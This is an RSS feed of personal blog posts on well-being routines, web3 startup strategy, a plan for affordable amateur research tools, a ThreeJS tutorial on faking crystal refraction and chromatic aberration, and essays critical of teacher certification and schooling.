<![CDATA[MakerForce]]>https://makerforce.io/https://makerforce.io/favicon.pngMakerForcehttps://makerforce.io/Ghost 5.96Fri, 13 Feb 2026 07:51:17 GMT60<![CDATA[Mind, Body, Network]]>https://makerforce.io/mind-body-network/63021648dacd1e0001d35e9fSun, 14 Aug 2022 11:29:00 GMTtldr: This article talks about my personal principles for well-being, and the strategies I employ in my daily life to feel healthy, happy and fulfilled.Mind, Body, Network

This post is mirrored on Mirror:

Mind, Body, Network
This article talks about my personal principles for well-being, and the strategies I employ in my daily life to feel healthy, happy and fulfilled.
Mind, Body, Network

People who have known me since 2016 would know that I have had a hell of a relationship with health and my body. Part of why I am working on a preventive health project at the moment, is that I have struggled with body dysmorphia and health issues for a large part of my life. That's why people who meet me after a long time, often find themselves quite shocked at how much I have changed- both on the outside and on the inside with my perspectives on human well-being.

For reference, this is a photo from when I was 16:

Mind, Body, Network
Me, in 2016 on my birthday 🥳

And this is me now at 21:

Mind, Body, Network
Me in 2021, after tons and tons of gym time 🏋️‍♀️

These days I have much less time, but being aware of my well-being is something I consider essential to my life. This means that over these years, I have had to invent many systems of living which assist in maintaining my sense of well-being. This weekend I found myself reflecting on and reviewing those systems, and I wanted to share them so that people could learn from them and I could gather feedback to improve them.


The principal components of well-being

I hear the phrase "Mind, Body, Soul" thrown around a lot when it comes to human well-being. I am not a big believer in the spiritual soul, I prefer to believe that we are insignificant specks in an infinite uncaring universe. However, one can think about the soul differently, as an intersubjective entity encapsulating fuzzy concepts like purpose, fulfilment and meaning.

Like any intersubjective concept, these originate from society and reside in the collective consciousness of the people you surround yourself with. An example being that, in a capital driven society, purpose might come from wanting to get ahead and climb the socioeconomic ladder. Similarly in a indigenous society, purpose might come from acts of reciprocal gifting to gain the respect and affection of the clan.

I cannot speak for others to determine which modes of soul (intersubjective meaning) they prefer- that is a highly contextualized choice based on personal upbringing and values. Some people retain the values and meaning passed down by their parents, while others choose to rebel and find their own souls. The important thing is that human well-being depends on surrounding yourself with the right people, to obtain the soul you want.

Having said that, my big three for human well-being are:

  1. The Mind - the pursuit of happiness through knowledge, emotional awareness, gratitude and other means
  2. The Body - the pursuit of health through the main pillars of sleep, nutrition and movement
  3. The Network - the pursuit of the soul through surrounding yourself with the right people

Managing the Mind

In 22 years of life, I have truly realized that I am incompetent. I have one interesting idea every week, but give it 2 minutes and I would have forgotten what it was. I deal with conflicts instinctively and fall prey to heuristics such as the peak-end rule and the hot-hand fallacy. I read and learn new concepts only to completely forget them in a couple of months.

You might be one of the people who are more competent in matters of the mind than me, but if you suffer from the same problems as me, the solution lies in systems of thought. This is why I think that Notion is one of the most empowering tools that I use.

Notion enables me to architect and build a digital twin of my brain - a second brain as some people call it. My second brain is built on bits not carbon, and so remembers information in perpetuity. It is able to log connections across data structures and construct knowledge graphs over my thoughts. It also enables me to record and reflect on my emotions which improves my heuristics for dealing with situations on a daily basis.

As of now, the Notion Systems that I use to manage the mind are:

  1. A Life Journal - this doubles as an event log and a gratitude journal that I write every night
  2. Media Memory & Readwise - these contain summaries of content to improve memory and link concepts together. I use Readwise to enable automated spaced repetition to further improve knowledge recall.
  3. Learning - which is an area where I plan and execute learning sprints as per the principles of Ultralearning
  4. The Neocortex - which is a Notion page where I log random ideas, notes, concepts and brainstorming streams

On top of this, another system I rely on heavily is Getting Things Done by David Allen and Todoist which is how I manage my tasks. The Getting Things Done philosophy emphasizes "mind like water" where if everything important is off the mind and on a recording device then the mind is free to flexibly switch and solve context-dependent problems. If you ever feel like the things that you have to do are weighing down on your mind, Getting Things Done is how I solved that problem for myself.

Building the Body

I am not a health coach - there are many people who are giving great advice on this subject. However, one common problem that I see among my peers is that they have the priorities for their body mixed up. I am going to list the strategies I use to ensure bodily well-being in order of priority.

Sleep

By far, the most important well-being factor for the body is your sleep. Matthew Walker goes into great depth on this subject in his book "Why We Sleep" but without healthy sleep, your fitness, dietary habits, mood stability and almost every physical and cognitive activity will be impaired. That is why, for me, sleep is at the top of my priorities to maintain well-being.

I get 7-8h of sleep everyday, with a regular schedule of 11pm - 7am. On top of that, I use Apple's built in Bedtime tools with a Garmin Venu Sq to manage and monitor my sleep activity. I understand that not everyone might have access to all these tools, but the essential part is to sleep enough and sleep regularly.

Nutrition

The next highest priority for bodily well-being is nutrition. In this, I use mobile tools such as MyFitnessPal to track calories and macros along with a regime of intermittent fasting which has been shown to have impacts on longevity and overall well-being.

Putting it simply, intermittent fasting triggers circuits in the body which prioritizes genetic repair over proliferation. This minimizes epigenetic drift which has been shown to be one of the main drivers of the aging phenotype. Other sources of stress such as cold exposure along with substances like metformin (a diabetes drug) and resveratrol (found in red wine) have also been shown to boost cellular repair in some mammals.

I will not dive into much detail on the mechanisms of these remedies but it is clear that what we eat has a major impact on our well-being and longevity which is why I consider it one of the higher priority areas of concern. For more detail, David Sinclair's Lifespan and the Huberman Lab Podcast are great further references.

Movement

And lastly, but still importantly, is movement. As part of Happily Ever After's collaboration building activities, I have talked to many experts in disciplines across medicine and well-being and they all seem to agree - eat healthy, sleep well and walk 10,000 steps everyday.

Exercise is essential for us to be able to physically do the things we enjoy. It is a form of control, look at some of the calisthenics routines of athletes and you will see how precisely they puppet their body. Some of their feats defy gravity.

To me, human well-being isn't just about being healthy, it's about being able to do everything you want to do. And that means exercising and staying fit. I follow a 3 day full-body workout routine, and have recently started trying to get at least 10,000 steps everyday. This is quite easy in London given how expensive public transport is (oof).

To track the metrics on performance, I highly recommend Hevy for weight routines and I use a Garmin Watch to track general activity and steps.

Assembling the Network

And lastly, this section talks about how I'm building my network to give myself intersubjective meaning. As I discussed earlier, building the network is about finding the right peers to build your purpose and sense of shared meaning. It is about creating an environment of affection.

Humans are social organisms and our well-being is intrinsically connected to those around us. Loneliness is a silent killer but surrounding yourself with the wrong people can be equally bad.

Communities are made of individuals and individuals are made of communities
  • Decentralized Society: Finding Web3's Soul

Surrounding yourself with people that you admire and aspire to be like, is the best way to achieve well-being and move towards your goals. Building the network is something that I am still working on, but I have a strategy.

  1. University Networking - I want to assemble a community that resonates with my #regen beliefs, my position as president of UCL Entrepreneurs is going to be my point of leverage to build that
  2. Twitter - I believe that the community on twitter is amazing and I would love to engage with more likeminded people there
  3. DeveloperDAO - I've been a holder of Devs For Revolution since May of this year and I would like to be more active there
  4. This blog - I enjoy reading and writing about things that I'm passionate about and I hope this blog attracts people who align with me

Through a combination of the above network-building tools, I plan on assembling a community of people around me in search of shared meaning.

As I start to see the importance of networks and intersubjective meaning, I find myself feeling extremely grateful towards Gavin, Ambrose and the extended community at Audacity for helping me build my soul.

Mind, Body, Network

This is where I am right now. This weekend has been a period of recalibration and self-discovery, writing this article is solidifying the reasons for why I monitor my well-being and why I'm building Happily Ever After. It reminds me of why I believe in concepts like the Quantified Self and the idea of trans-humanism.

The world right now seems chaotic and wildly out of control. Amidst all of the climate anxiety, war cries and amplified tribalism is the reality that while dinosaurs were around for 170 million years, the modern human has only been around for 200,000. Many people think this is the end times for humanity, history shows that it might very well be just the beginning.

Trans-humanism is the idea that latent human potential is only starting to be unlocked, and if we've already made it to the moon, imagine how much more we might be on the precipice of achieving.

]]>
<![CDATA[Top, Bottom, Up, Down]]>https://makerforce.io/top-bottom-up-down/630213f0dacd1e0001d35e6fWed, 15 Jun 2022 16:00:00 GMTtldr: Building web 3 startups is hard, as you have to balance product-market fit and iteration speed with community and governance. To achieve this balance, a mix of strategies must be deployed- using concepts from 20+ years of startup history, political science and human behavior.Top, Bottom, Up, Down

This post is mirrored on Mirror:

Top, Bottom, Up, Down
Building web 3 startups is hard, how do you balance product-market fit and iteration speed with community and governance?
Top, Bottom, Up, Down

Visionaries and dreamers have defined innovation culture in the startup ecosystem of the last 3 decades. In fact, we find ourselves in a world where cult founder personalities are aplenty, look no further than Elon Musk, Bill Gates and Steve Jobs.

This makes sense. Elon Musk's vision for affordable electric cars, and his drive to bring that vision to reality is what gave us Tesla. The company's mission was always driven top-down by what Elon Musk wanted for the future. In a sense, Tesla was an extension of Elon's ambition. The recipe for creating successful startups is generally based on this ideal- start with a visionary founding team, and then execute that vision, iterating and pivoting on ideas as you go along.

Founders -> Product/Market Fit

In this era of startups, there is one mantra that rules above all: product-market fit. The founders have to build something that gets them closer to their vision, yes, but more importantly, they have to build a product that people want. The founders are responsible for finding the market, building the product, and creating the future. Marc Andreessen wrote in his 2007 blog:

In a great market—a market with lots of real potential customers—the market pulls product out of the startup.

The calculus is simple: find a good market with a vision for a better future, and then build in that direction for success. And it worked brilliantly, bringing a16z some of the most successful software startups on the planet.

Introducing Web 3

Web 3 envisions a different reality for startups. With guiding values of wide ownership, decentralization and open source, founders and central control are considered a liability in the new internet. Web 3 proponents point to the gradually extractive nature of Web 2 founders and startups, who eventually turn from helping their users to exploiting them for investor and personal profit. In contrast, Web 3 believes in community ownership to limit extractive motives from the core founding and investing team, which also limits the power the core founding team has to change their own product. Proprietary and closed software- exit stage left.

Top, Bottom, Up, Down
Progressive extraction by platform web2 companies - a16z

Furthermore, the computational primitives of the blockchain enable new governance and corporate structure paradigms. On-chain governance and its associated utility programs enable web-native democratic activity, unlocking global scale co-operation. Founders no longer have to make all the decisions for their vision, the decision making power can be transferred to those who believe in their narrative and (literally) buy into their vision. Founders can simply promise- that the future they envision is possible. And, encoding this promise is the programmable ERC-20 token. With this primitive, a challenger to product-market fit is born: market-protocol fit.

Products vs Protocols

Before we look at market-protocol fit, it is essential to understand the key differences between protocols and products.

Let's look at products first. Products are user-friendly, focus on implementation and aim to achieve a monoculture- a world where everyone uses the product. In contrast, protocols are open, built for developers, are composable and focus on achieving a diversity of applications that sit on top of them. For a more practical example, consider XMPP, the open messaging protocol and WhatsApp which is a product built on closed-source, centralized software. Anyone can build an XMPP client, propose changes to the protocol or build on top of it, however only WhatsApp's core-team can use the underlying WhatsApp system. With WhatsApp, there are no third party clients, and there is no thriving ecosystem of WhatsApp apps. At the same time, driving XMPP adoption and integrating new features must consider all of its third part clients, which means that it often takes much longer to develop new features into XMPP than into WhatsApp.

In short, protocols develop a lot slower than products as they cannot evolve at the same speed as a LEAN product team. However, protocols are generally more robust and have the potential to generate a pluralistic future with a diversity of composable applications.

Ethereum is a great example of a successful developer protocol. It is open source, permissionless and allows developers to build vibrant services and applications on top of it- Uniswap, Compound, Balancer etc. It is well documented, cares about interoperability, software diversity and decentralization.

Fundamentally, the core ideals of web 3 are decentralization, ownership and composability. This means, web 3 is about protocols, not products. With the composable primitives on Ethereum, Avalanche and other Layer 1s, it is possible to finally accrue value at the protocol layer instead of the product layer. In Web 2, HTTPS powers most of the world's products but accrues none of the captured value. Web 3 flips that model and lets protocols and open-source standards accrue value for the services they provide.

In fact, in a Web 3 model, since all products are built on composable open standards- more value accrues to the protocol layer than the product layer.

Progressive decentralization

So how can we build and market protocols? We can start by trying to apply the product-market fit strategy to protocols. Let us use Uniswap as a practical illustration.

  1. Define a problem [Uniswap: it is hard to swap tokens]
  2. Have a vision [Uniswap: people can easily swap between any token, ever present liquidity]
  3. Build an MVP [Uniswap: Automated Market Maker v1]
  4. Iterate and test and build [Uniswap: raise venture funds to pay contributors]
  5. Release the protocol

But recall, two of the core ideals of Web 3 are decentralization and ownership. But herein lies the problem, Uniswap likely wouldn't have been able to build Uniswap so quickly if it was decentralized. Firstly, it is hard to achieve consensus on a vision amidst a large group of people. Even if that's possible, it is even harder to agree on a single approach to achieve that vision. Lastly, in large groups, no individual feels full ownership and responsibility, and coaxing this group to build and iterate requires a lot more effort than in a small LEAN team with more at stake.

In essence, smaller teams move faster, iterate quicker and converge on a solution even if the solution is a local minima which isn't the most optimal. Convincing large communities to achieve this directionality is quite impossible. A comparison can be drawn to a gradient descent operation. When a small team can quickly agree on the shape of the design space, they can quickly find a local minima to move towards. But in a large team, the landscape of the design space is fuzzy and not globally agreed upon, leading to a lot more difficulties in deciding which way to move.

This has led many startups and VCs to recommend progressive decentralization. Find product-market fit, and then introduce governance and handover control to the community. The order goes product/protocol-market fit -> build a community -> transition to a decentralized protocol.

It is also possible to use the mental model that token-based protocols are just special forms of products- namely the combination of a multi-sided platform and an open-source project.

Token-based products combine ideas of multi-sided platform products and open-source projects. This is great news, because we don’t need to radically reinvent “product”, or chase something different than “PMF”.
-Trent McConaghy

The product-market fit strategy works well for both multi-sided platforms (Uber) and open-source projects (Kubernetes) where if the product solves an actual need, and the market demands this solution then the product starts to gain traction on its own. And if a protocol is simple a composition of a multi-sided platform and an open-source project, then the same principle should apply.

Market-protocol fit disagrees with this.

Market-Protocol Fit

If progressive decentralization relies on directional and intentional startup movement, market-protocol fit is throwing everything at the wall and seeing what sticks. Market-protocol fit enables organizations to explore the entire solution space in parallel, similar to an evolutionary algorithm, where there is no control over individual agents.

As such, top-level behavior must be an emergent property of bottom-up actions by agents. This is necessary for tokenized ecosystems; otherwise they’d be centralized!

In other words, market-protocol fit approaches the problem by thinking about crypto-economic protocols as market frameworks looking for product applications. In this decentralized format, the market looks for the product that fits its needs, market-product fit. This is achieved by first and foremost, distributing tokens to a wide number of peoples along with a narrative or a guiding mission. Then, proper governance mechanisms and economic incentives are put in place to reward parallel explorations of the design space that achieve this narrative. Through that:

The work of exploring parallel narratives, discovering emergent use cases, and testing solutions is distributed among members of the wider ecosystem such that the rising tide lifts all boats.

In market-protocol fit, the founder does not have the sole responsibility for finding solutions to the problem. They only need to convince the community that this is a problem worth finding solutions for, and that the rewards from this will be plentiful. Ethereum is a great example of this in action, its prevailing narrative was to become a "world computer". Eventually, this lead to many developers building solutions on top of it that made it a self-fulfilling prophecy. Market-protocol fit startups might however still need to pivot, to experiment and try different narratives that align the founder vision and public court of thought.

Top, Bottom, Up, Down

Can the market fit the protocol?

I can list numerous examples of product-market fit success stories but not a single instance of market-protocol fit. DAOs are the latest exploration into market-protocol fit, and they try to support unstructured exploration and solution discovery. But as anyone who's been in a DAO knows, this tends to make it chaotic, slow and complicated to navigate.

Some would argue that the Ethereum Project is an example of market-protocol fit. I would humbly disagree. The Ethereum core team was addressing a specific problem, the ability to execute complex transactions and contracts in a trustless way on chain. Even before the community was around, the core-team of Ethereum were building and iterating to achieve the product. The developer traction that Ethereum has is symbolic of product-market fit not market-protocol fit. Ethereum is a product for developers.

However, the products built on top of Ethereum do serve to push a narrative that Ethereum wanted to achieve- building a new, fairer internet. If you take a big picture view, and look at Ethereum's problem statement as "Solving the information and power asymmetry in the internet", then Ethereum seems like a market-protocol fit approach. But on a smaller lens, Ethereum provides the developer tools and substrate for developers to build new, fairer and more open applications. In that sense, Ethereum is a product persuing product-market fit.

It seems to me that the conclusion would be that no matter what, your initial product/protocol has to find product market fit. Ethereum could only lean on their strong developer ecosystem to build out solutions for their vision after they built a strong product with product-market fit to attract developers. Possibly, the concepts of product-market fit and market-protocol fit are not exclusionary but rather different stages in a pipeline.

  1. You set up a broad vision for what you want to achieve [Ethereum: building a fairer internet on a world computer]
  2. Create an initial substrate/protocol for people to build on that unlocks a design space for that vision [Ethereum chain]
  3. Iterate until product-market fit attracts developers to build on the protocol

Until this point, this was all about product-market fit. Now,

  1. Push the narrative and vision to the developers and teams building on the protocol
  2. Within some constraints in the protocol, allow builders to search the available design space [Dapps on Ethereum]
  3. Selectively reward projects and proposals that move towards the desired narrative [Grants, Gitcoin, etc.]

This is the transition to market-protocol fit. The product, makes the market, makes the protocol. It's product-market-protocol fit. And this requires startup teams to make a transition in strategy similar to what progressive decentralization describes. At the start, in product-market fit mode, it helps to raise equity rounds, build your initial substrate and have a LEAN team.

Once a certain critical mass of adoption has happened, the transition to market-protocol fit entails distribution of ownership, proper governance structures, ways to incentivize movement towards the original vision while preventing deviations. Startup founders in Web 3 act as CEOs of companies and then transition to members of parliament in states.

Final words

This transition can be both nerve-wreaking and complicated, but also exciting and rewarding. Once you've successfully completed the transition, the protocol lives on, independent of your ability to contribute to it. It would have obtained a life of its own.

Given the arguments laid in this post, I believe that the answer to how to build web 3 startups seems to be not "top-down" or "bottom-up". We need to build top-bottom-up-down.

Further Reading

  1. Market-Protocol Fit
  2. Progressive Decentralization
  3. Product/Market Fit
  4. IOSG crypto PMF
  5. Products vs Protocols
  6. Should Product-Market Fit Come Before Tokens?
  7. A Declaration of the Independence of Cyberspace
  8. Towards a practice of token engineering
  9. Token Lexicon
]]>
<![CDATA[How we plan to change research]]>Now that we have gone through why we want to do this, let’s carry on with what we are going to do about it with these few projects.

notes

An organised project is a successful project. Having an idea or question isn’t enough to do research

]]>
https://makerforce.io/how-we-plan-to-change-research/6136484c4cb4bf0001f8faa9Wed, 08 Sep 2021 22:05:00 GMTNow that we have gone through why we want to do this, let’s carry on with what we are going to do about it with these few projects.

notes

An organised project is a successful project. Having an idea or question isn’t enough to do research – you must also have a plan of what to do, somewhere to note down what you find and write something to describe what you have done so others can know. All of this requires some form of organisation, and the most common way to do this is with some form of notebook.

An existing notebook like Notion can work, of course, but a shortcoming of Notion is its set of predefined modules. Going back to the doctrine espoused in our previous post, we don’t want to be a top-down organisation pushing down what we think is best for the user. Instead, we want users to be able to fulfil what they want. To this end, notes is designed to be a fully modular and user-extensible notebook application. If a user isn’t satisfied with the functionalities available, he can develop his own.

The organisation isn’t also just for the user. Notes also serves as a command and control centre for all the equipment we plan to push out.

pipes

Taking inspiration from the Maker Movement, for something to be successful it has to be “hackable”. Hackable things are modular and easily built upon, as well as not being too much of an investment to be accidentally damaged. Pipes is our answer to the problem of affordable chemistry lab equipment. Flow reactors provide a way for the reaction to be broken down into a series of simple steps. More importantly, each stage in the flow is independent of the next, creating a modular system whose components can be switched in and out as requirements demand.

Replicability is an important part of experimentation. An experiment has to be reproducible for its results to be of note. Much like how 3D printers introduced replicable machining to the hobbyist, we believe that flow reactors can introduce replicable reactions to the hobbyist. This is what pipes is: simple, modular flow reactors for the home chemist.

supplies

As mentioned before, equipment means nothing if there is nothing to experiment on. Major reagent suppliers such as Sigma Aldrich only deal with companies and not individuals. Supplies is simply the logical extension of this: a shell company that holds a repository of common reagents for people.

However, relying on a company does not fit our decentralised model, so we also have plans to use this company as a touchstone to gather groups of people into trusted collectives, which can pool their resources to purchase their own equipment.

bio

For what pipes is to chemistry, bio is to microbiology. Starting with automated bioreactors, we want to develop a toolkit for affordable experiments in microbiology and genetic engineering for the hobbyist.


swarm

Internet-of-Things (IoT) devices are an important facet of data collection and so are another aspect we like to cover. Unlike the portfolios of pipes or bio, swarm is much more generic, covering anything that can be considered an IoT device – which is anything that connects to the Internet and sends or receives data. Therefore, instead of being a specific set of tools for people to use or build upon, swarmis instead a protocol or framework for IoT devices to interoperate with the wider notes framework, along with a few example devices that we think might be common use cases.

journals

Research without publication only serves to benefit the researcher. Publishing this research allows knowledge to be shared, hence allowing the wider scientific community to benefit from any breakthroughs. However, modern scientific journals have editors editing submissions and pruning ones they don’t deem fit from the final publication. While this ensures the quality of the publication, it also presents a barrier to entry for the layman. Furthermore, the biases of the editor will inevitably colour the tone of the journal. We have no intention of running our own scientific journal. Editing is a full-time job, and we have no confidence in ourselves, or anyone for the matter, maintaining an impartial view.

Instead, journals is going to be a decentralised journal system employing a reputation mechanism to ensure the quality and mutual-checking of submissions. Anyone can publish, but how they will be viewed is another question.

With these projects, we hope that amateur research can be pushed back to the forefront of science, with interest and passion powering our advancements.

]]>
<![CDATA[Let's make research affordable]]>Amateur research is fine and all, but doing research is hard. Research isn’t just about the research – it’s about finding something to experiment on, something to experiment with, and making sure that whatever you find gets known to the wider world.

Unfortunately, today’s

]]>
https://makerforce.io/lets-make-research-affordable/613644c14cb4bf0001f8faa3Tue, 07 Sep 2021 01:00:00 GMTAmateur research is fine and all, but doing research is hard. Research isn’t just about the research – it’s about finding something to experiment on, something to experiment with, and making sure that whatever you find gets known to the wider world.

Unfortunately, today’s research exists in a bubble. Starting from the beginning of an experiment to publishing the results of one’s work, there is a certain way of doing things that presents such a barrier to entry to the layman. Lab equipment requires enormous sums of capital. Chemical suppliers refuse to sell to individuals. Journals won’t consider research from some uncredited institution. How can one even start?

We aim to address that with foundry collective. Research should not just be the domain of big institutions with enough resources. From a network of people to bounce and build ideas off, to a logistics system that keeps you supplied with the things you need to conduct experiments, to building affordable and effective lab systems, we want to ensure that amateur researchers are supported every step of the way.

In the previous post, we mentioned how the amateur researcher is driven by personal interest, divorced from the whims of funding. Of course, just because you’re doing something for a reason other than money does not mean that the need for money goes away. Equipment is still expensive, and reagents are still hard to get. This is where foundry collective comes in: to drive away these barriers.

Of course, there are fields like biodiversity research or electrical engineering which don’t require much in the way of complex lab equipment or have their requirements easily bought off the shelf for a decent price. This isn’t about them. Well not so much, anyway. Our targets are those fields with scarily high starting capital, like biology or synthetic chemistry. The limiting factor for people should be their interest, not their means.

We admit that we have a role model starting this: the Maker Movement. It is much like what we’re trying to do but in the sphere of engineering, making things accessible to more and more people by lowering the cost of entry, as well as encouraging a community of like-minded people to spring up around it. The emergence of the Arduino project and the standardisation of 3D printing firmware from the Maker Movement certainly proves that communities of enthusiastic people can achieve way more than any singular entity can when provided with the right basic tools and building blocks to play with. However, beyond the classical examples of people building robots and automating things, there also are people teaching civil engineering, people making art, and more things that would still be faced with insurmountably high starting costs if they were just given easy microcontrollers to work with. We aim to bring change to these fields and communities.

A successful movement cannot and should never be just centred around one company’s work. We are only human after all, and it would be asking too much for us to cover all grounds. Instead, it should involve a community of people working together to use the things they have to make products that meet their needs. We do not seek only to make tools for people. We want our tools to be extensible, so people can also make tools for themselves. And much like our tools, our community shouldn’t just be orchestrated completely by us. The community needs to be able to grow itself, and we hope that our designs for a decentralized cell-based community can help to start that.

Foundry Collective is about helping people discover things in the same way that the Maker Movement helps people build things. We believe in the potential of people to go out and discover things, just as they have the potential to go out there and make things. With so much to explore in the world, it is about time that we stop limiting the potentials of amateur research arbitrarily with institutional barriers such as funding and level the playing field for everyone interested to embark on this rewarding endeavour.

]]>
<![CDATA[Research should not be professional]]>Since the dawn of modern science in the Renaissance, research has been conducted by the amateur. From Galileo looking up to the stars, to Leeuwenhoek grinding his microscopes, to Faraday tinkering with electricity, discoveries have been made by people driven by interest or curiosity about the world around them. However,

]]>
https://makerforce.io/research-should-not-be-professional/613614614cb4bf0001f8fa9bMon, 06 Sep 2021 17:00:00 GMTSince the dawn of modern science in the Renaissance, research has been conducted by the amateur. From Galileo looking up to the stars, to Leeuwenhoek grinding his microscopes, to Faraday tinkering with electricity, discoveries have been made by people driven by interest or curiosity about the world around them. However, with the rise of industrialization and universities within the past century or so, research has been increasingly segregated into ivory towers of research facilities.

We don’t think that that should be the case. Professional research is research driven by funding; research chasing grants and the support of those with the means to provide them. This inevitably introduces some form of bias to the research. Do we really need to look any further than the mess nutrition science has become with Big Sugar?

Research is more than trying to find something politically expedient or economically viable: it is the extension of mankind’s knowledge. X-Ray and machine learning’s progress from laboratory curiosity to becoming a big part of our modern world bears testament to this. While we are fortunate enough that these discoveries were made while scientists were researching other affairs, how many more have we missed because the idea occurred to someone unable to carry it out?

An amateur isn’t a beginner or incompetent. An amateur is simply not a professional – someone simply not doing it for the money but for some ulterior motive. Be it curiosity, passion, or some other motive, he is doing it because of some personal interest, divorced of the vested interest of the money.

We believe that deep down in every person’s heart is the seed of curiosity. Everyone has some questions about the world. It is the job of education to answer some of them. For those that cannot be answered though, do we expect people to content themselves with not knowing or empower them with the tools to go find it out for themselves? Amateur research, research driven by curiosity, is the future. And that’s why we want to start foundry collective.

]]>
<![CDATA[Faking Refraction in ThreeJS]]>https://makerforce.io/faking-refraction-in-threejs/613447f34cb4bf0001f8f97eSun, 05 Sep 2021 08:55:42 GMT

In this post I'll describe how to achieve a crystal-like refraction effect within only ThreeJS. Below is a demo of the effect that's to be achieved. You can use your mouse to change your angle and position (right-drag to rotate, left-drag to move and scroll to zoom in and out). You might need to wait a while for the texture to load.

Faking Internal Refraction

ThreeJS does have a default material to enable refraction which involves setting the .envMap variable to a texture and setting .refractionRatio smaller than 1.

Faking Refraction in ThreeJS

However, this effect fails to replicate the internal refractions in a crystal which causes the many facets within the object.

My solution to this is to simply use a texture:

Faking Refraction in ThreeJS

I created this texture by taking a picture of a diamond and pasting it haphazardly till it covered a square. This texture will be used as the environment map of the material as the background of the refraction:

const material = new THREE.MeshBasicMaterial(
    {
        color: 0xffffff,
        envMap: texture,
        transparent: true, 
        refractionRatio: 0.9,
        blending: THREE.AdditiveBlending,
    });

.transparent: true and blending: THREE.AdditiveBlending is set so that the actual environment background can be seen through the crystal. Below show why these attributes should be set: The former looks more natural and blends in with the background.

Faking Refraction in ThreeJS
left: .transparent and .blending is set. right: not set

Faking Chromatic Aberration

At this point is already does a pretty good job but it still feels a little flat IMO. That's because on actual crystals, you'd see sharp flashes of colours at the edges of the facets:

Faking Refraction in ThreeJS

This is due to an effect called chromatic aberration where white light splits into its colourful components due to small difference in refractive index for different wavelengths.

We can replicate this by creating three materials, each representing the Red, Green and Blue channels. For each channel, set the refractive index to differ slightly.

const materialr = new THREE.MeshBasicMaterial(
    {
        color: 0xee0000,
        envMap: texture,
        transparent: true, 
        refractionRatio: 0.9,
        blending: THREE.AdditiveBlending,
    });
const materialg = new THREE.MeshBasicMaterial(
    {
        color: 0x00ff00,
        envMap: texture,
        transparent: true, 
        refractionRatio: 0.9-0.005,
        blending: THREE.AdditiveBlending,
    });
const materialb = new THREE.MeshBasicMaterial(
    {
        color: 0x0000dd,
        envMap: texture,
        transparent: true, 
        refractionRatio: 0.9-0.01,
        blending: THREE.AdditiveBlending,
    });

Next we can create three copies of the crystal geometry and apply each material to each copy, and thereafter combine them into one object:

const heartr = new THREE.Mesh(geometry, materialr);
const heartb = new THREE.Mesh(heartr.geometry, materialg);
const heartg = new THREE.Mesh(heartr.geometry, materialb);
const heart = new THREE.Group();
heart.add(heartr); heart.add(heartg); heart.add(heartb); 

Below is a comparison. The left, with chromatic aberration, has brighter flashes of colour than the right.

Faking Refraction in ThreeJS
left: with chromatic aberration. right: no chromatic aberration

And done! For all the images here, I added some post processing effects like Bloom to bring out the flashes of light even more, and FXAA to deal with some aliasing of the crystal texture.

]]>
<![CDATA[Do you need to be taught to teach?]]>https://makerforce.io/do-you-need-to-be-taught-to-teach/61259a2532698f0001eae262Sun, 29 Aug 2021 14:26:17 GMT

I've always wondered why it was so difficult to become a teacher. Do you really need a school for teachers, where teachers teach students to teach? Are the licensing requirements to teach students, really that useful? Is there that much value to restricting the supply of teachers through regulation and compulsory education. And above all, isn't teaching something that is inherently human?

Let's first take a long hard look at how teachers learn to teach. An aspiring teacher has a set of hurdles to overcome before they can even teach professionally. The biggest, is a teacher training program, in Singapore this is primarily done through the BABSc diploma.

The Bachelor of Arts (Education) and Bachelor of Science (Education), also known as BABSc (Ed), is a 4-year sponsored undergraduate programme. It equips you with an academic degree in arts or science-based subjects, with a teaching qualification to teach in primary or secondary schools.

If they don't pursue this diploma, they can also do a standard degree in any science or arts field. Post to that, they have to obtain a PGDE (Post Graduate Diploma in Education) which earns them the teaching certificate. This certificate is what allows teachers to teach professionally.

When observing this process, there is a clear divergence between studying to become a professional in your field, and studying to teach. Teaching is assumed to require an entirely different set of skills and knowledge compared to actually practicing a craft in the field. And this wouldn't be a bad assumption, to teach effectively, one needs to be keenly aware of various concepts in psychology, human behavior and learning strategies.

The issue arises when you notice that none of your teachers are actually experienced in the craft they are trying to teach you. Your physics teacher has never been a physicist, your biology teacher has never visited exotic islands to explore their animal life. Even in university, albeit the effect is reduced for academic professions, your engineering professors probably have never worked in professional engineering jobs. They're researchers not practical engineers.

Now I pose some simple questions. How do you expect someone to teach you something, that they don't have deep relevant practice doing? When a CS professor hasn't build complex distributed systems at the scale of Google or Uber, how would they know what things to include in your curriculum? How would a high school physics teacher be able to tell you about the bleeding edge of physics research, when they were only really trained in what they needed to teach?

The answer is, you can't expect that. When there is a system, where teachers and students are trapped in an echo-chamber with the absence of professional craft experience, there is a situation where anything goes. Anything the professor decides to include in the curriculum, now suddenly becomes important for the student to know regardless of whether the final job requires that knowledge. Because the job market at the end of the day, looks at the signaling from your certificate, which is unfortunately issued by people who only know to teach, but not to do.

This makes me wonder about whether we really need entire programs to teach people to teach. Couldn't some casual banter with a lead engineer at a startup, give you guidance and direction about how to learn programming, and also provide insights and knowledge that is directly applicable to your craft. To me, this seems like a more direct way to approach education, let experts teach students their craft. The middleman hand-waving of educational expertise, looks to me as an inefficiency in the system which just results in lost time, productivity and money.

Any skills required to teach effectively, could be taught in a bootcamp format if necessary. I'm sure the skills to teach can be taught in 6 months if the skills to be a competent programmer can be taught in 3. And this is probably giving it a wide berth.

Without the unnecessary overhead of teaching regulation and certification, availability of quality teachers and mentors will shoot up, creating more accessible and open education than ever before. This heralds a return to a time like Plato's, where open discussion, collaboration and mentorship was the source of ever greater knowledge.

Axiom wants to imagine this decentralized, expert focused ideal to education. One that is exempt from standardization, certification and any other regulatory inefficiencies. We want an open, accessible and direct way to learn anything and build the best version of yourself.  

]]>
<![CDATA[Institutionalised Learning]]>https://makerforce.io/institutionalised-learning/610660bb32698f0001eae14fSun, 01 Aug 2021 14:03:46 GMT

Since the industrial revolution, many public services have been institutionalised and organised into structures - of which the biggest two are healthcare and education. Healthcare gave rise to public hospital and health insurance while education gave rise to primary, secondary and tertiary schools.

The industrial revolution brought along with it, a toolkit on how to approach system design, which revolved around standardisation and efficiency. With a heavy focus on measurements and indexes, industrialists imagined a world where everything could be quantified. Undoubtedly, this has led to the many problems one can observe with the education system today.

A focus on metric based thinking, brings the culture of test-taking to school. When these professional test-takers enter the workforce, it creates a vicious cycle of industry leaders who can't look past KPIs and quantitative evaluations. This then leads to even more metric based study and evaluation.

In a schooled world, the road to happiness is paved with a consumer's index. -  Deschooling Society, Ivan Illich

